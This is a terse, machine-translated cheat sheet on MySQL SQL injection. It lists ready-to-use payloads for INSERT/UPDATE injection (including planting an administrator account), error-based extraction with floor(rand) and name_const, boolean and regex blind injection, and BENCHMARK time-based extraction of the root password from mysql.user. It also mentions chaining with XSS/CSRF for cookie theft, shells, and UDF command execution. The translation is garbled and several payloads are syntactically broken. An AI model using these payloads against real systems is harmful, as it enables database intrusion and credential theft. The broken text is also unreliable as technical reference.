SQL General Injection (ii)

MySQL General injection (ii)

1.mysql General injection (INSERT, update)MySQL General request mysql_query does not support multi-statement execution, MYSQLI can.　　Insert injection multiple use error injection!1. If you can directly insert the administrator can use directly! Insert into User (Username,password) VALUES (' xxxx ', ' xxxx '), (' dddd ', ' dddd ')/* '); 2. If you can insert some data, the data will be displayed in the Web page, We can combine XXS and csrf to get cookies or Getshell update injections ibid.2.mysql Error Injection1. and (select 1 from (SELECT COUNT (*), concat (SELECT (statement)) from Information_schema.tables limit 0,1), floor (rand (0 ) x from Information_schema.tables Group by X) a) and 1=1 statement fill in a general sentence, such as: SELECT distinct concat (0x7e,0x27,schema_name, 0x27,0x7e) from Information_schema.schemata LIMIT 0,1 2. And+1= (select+*+from+ (select+name_const (statement), 1), Name_const ((statement), 1)) +as+x)--3.update web_ids set host= ' Www.0x50sec.org ' where ID =1 and (select 1 from (SELECT COUNT (*), concat ((rand (0)), (Substring ((select (statement)), 1,62))　　(A from Information_schema.tables group by a) b); 4.insert into Web_ids (host) VALUES ((select (1) from Mysql.user where 1=1 and (select 1 from (SELECT COUNT (*), concat ( RAND (0) * *), (substring ((Select (statement)), 1,62))) (A from Information_schema.tables group by a) b)));3.mysql General BlindsUse ASCII and ASCII (SUBSTRING ((select password from users where id=1), 1, 1) =49 use regular expressions and 1= (select 1 from information_s Chema.tables WHERE table_schema= "Blind_sqli" and table_name REGEXP ' ^[a-n] ' LIMIT 0,1 '4.mysql Time Blind1170 Union Select if (substring (current,1,1) =char (one), Benchmark (5000000,encode (' msg ', ' by 5 seconds '), null) from ( Select Database () as current) as Tblunion Select IF (SUBSTRING (password,1,1) = ' A ', BENCHMARK (100000,SHA1 (1)), 0) User, Password from mysql.user WHERE user = ' root ' 5. MySQL database version attribute 1.mysql5.0 after the Information.schema library appears 2.mysql5.1 after the UDF import xx\lib\plugin\ directory 3.mysql5.x after the system executes the command

　　

SQL General Injection (ii)